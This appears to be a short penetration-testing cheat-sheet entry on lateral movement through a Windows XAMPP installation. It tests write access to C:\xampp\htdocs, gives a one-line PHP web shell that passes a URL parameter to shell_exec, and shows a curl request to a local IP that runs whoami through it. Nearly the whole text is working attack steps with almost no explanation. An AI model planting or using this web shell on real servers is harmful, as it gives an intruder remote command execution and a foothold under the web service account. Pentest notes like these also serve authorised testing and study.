xampp

If there's a web server service account like "apache" or "svc_apache", it's possible to move laterally to them if you have write permissions in C:\xampp\htdocs or in any sub folders

echo meow > C:\xampp\htdocs\catz.txt

Create a web shell

<?php echo shell_exec($_GET['cmd']); ?>

Download it to C:\xampp\htdocs

Execute on the web servers root

curl http://192.168.219.169/cmd.php?cmd=whoami

Last updated